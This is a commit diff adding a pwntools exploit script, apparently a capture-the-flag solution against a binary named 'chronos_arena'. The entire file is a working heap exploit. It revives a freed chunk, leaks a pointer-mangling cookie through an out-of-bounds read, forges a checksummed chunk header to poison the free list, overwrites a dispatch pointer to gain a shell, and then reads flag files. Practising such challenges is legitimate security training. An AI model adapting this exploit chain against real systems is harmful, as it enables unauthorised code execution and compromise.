Init. commit

Warriors-Pwn/exploit.py

@@ -0,0 +1,146 @@
+#!/usr/bin/env python3
+from pwn import *
+import os
+import re
+import zlib
+
+ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
+BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN
+
+context.binary = ELF(BINARY_PATH, checksec=False)
+context.terminal = ["tmux", "splitw", "-h"]
+
+LEAKED_COOKIE = None
+
+
+def forge_warrior(data, next_ptr):
+    """
+    Build raw bytes for overwrite at (name-16) region:
+    [checksum|pad|encrypted_next|name(64)]
+    """
+    global LEAKED_COOKIE
+    if LEAKED_COOKIE is None:
+        raise ValueError("Cookie is not leaked yet")
+
+    name = data.ljust(64, b"\x00")[:64]
+    checksum = zlib.crc32(name) & 0xFFFFFFFF
+    encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF
+
+    return p32(checksum) + p32(0) + p64(encrypted_next) + name
+
+
+def start():
+    if args.REMOTE:
+        host = args.HOST if args.HOST else "127.0.0.1"
+        port = int(args.PORT) if args.PORT else 1337
+        return remote(host, port)
+
+    if args.GDB:
+        return gdb.debug([BINARY_PATH], gdbscript="continue")
+
+    return process([BINARY_PATH])
+
+
+class GameInteraction:
+    def __init__(self, tube):
+        self.io = tube
+
+    def _choose(self, idx):
+        self.io.sendlineafter(b"Chronos> ", str(idx).encode())
+
+    def spawn(self, name):
+        self._choose(1)
+        self.io.sendlineafter(b"Warrior name: ", name)
+        line = self.io.recvline().decode(errors="ignore").strip()
+        m = re.search(r"Slot\s+(\d+)\s+awakened", line)
+        if not m:
+            raise RuntimeError(f"Unexpected spawn output: {line}")
+        return int(m.group(1))
+
+    def sacrifice(self, slot):
+        self._choose(2)
+        self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
+        self.io.recvline()
+
+    def rename(self, slot, shift, blob):
+        self._choose(5)
+        self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
+        self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
+        self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
+        self.io.sendafter(b"Raw inscription bytes: ", blob)
+        self.io.send(b"\n")
+        self.io.recvline()
+
+    def scout(self, slot, shift, length):
+        self._choose(3)
+        self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
+        self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
+        self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())
+
+        self.io.recvuntil(b"Vision: ")
+        hex_line = self.io.recvline().strip().decode()
+        leaked = bytes.fromhex(hex_line)
+        return leaked
+
+    def rewind(self, anchor):
+        self._choose(4)
+        self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
+        self.io.recvline()
+
+    def invoke_core(self):
+        self._choose(6)
+
+
+def main():
+    global LEAKED_COOKIE
+
+    elf = context.binary
+    io = start()
+    game = GameInteraction(io)
+
+    target = elf.symbols["g_bridge"]
+    oracle = elf.symbols["summon_oracle"]
+
+    log.info("Stage 1: create free chunk and resurrect it via rewind")
+    s0 = game.spawn(b"alpha")
+    log.info(f"spawned slot={s0}")
+
+    game.sacrifice(s0)
+
+    game.rewind(1)
+
+    log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
+    leak = game.scout(s0, -8, 8)
+    LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
+    log.success(f"cookie = {hex(LEAKED_COOKIE)}")
+
+    log.info("Stage 3: forge warrior header and poison free list")
+    forged = forge_warrior(b"time-smith", target)
+    game.rename(s0, -16, forged)
+
+    s1 = game.spawn(b"reclaim-1")
+    log.info(f"reclaim spawn slot={s1}")
+
+    s2 = game.spawn(b"bridge")
+    log.info(f"poisoned spawn slot={s2}")
+
+    log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
+    payload = b"A" * 24 + p64(oracle)
+    game.rename(s2, 0, payload)
+
+    log.info("Stage 5: invoke dispatch and get shell")
+    game.invoke_core()
+
+    if args.INTERACTIVE:
+        io.interactive()
+        return
+
+    io.sendline(b"id")
+    io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
+    io.sendline(b"exit")
+    print(io.recvrepeat(1.0).decode(errors="ignore"))
+
+
+if __name__ == "__main__":
+    main()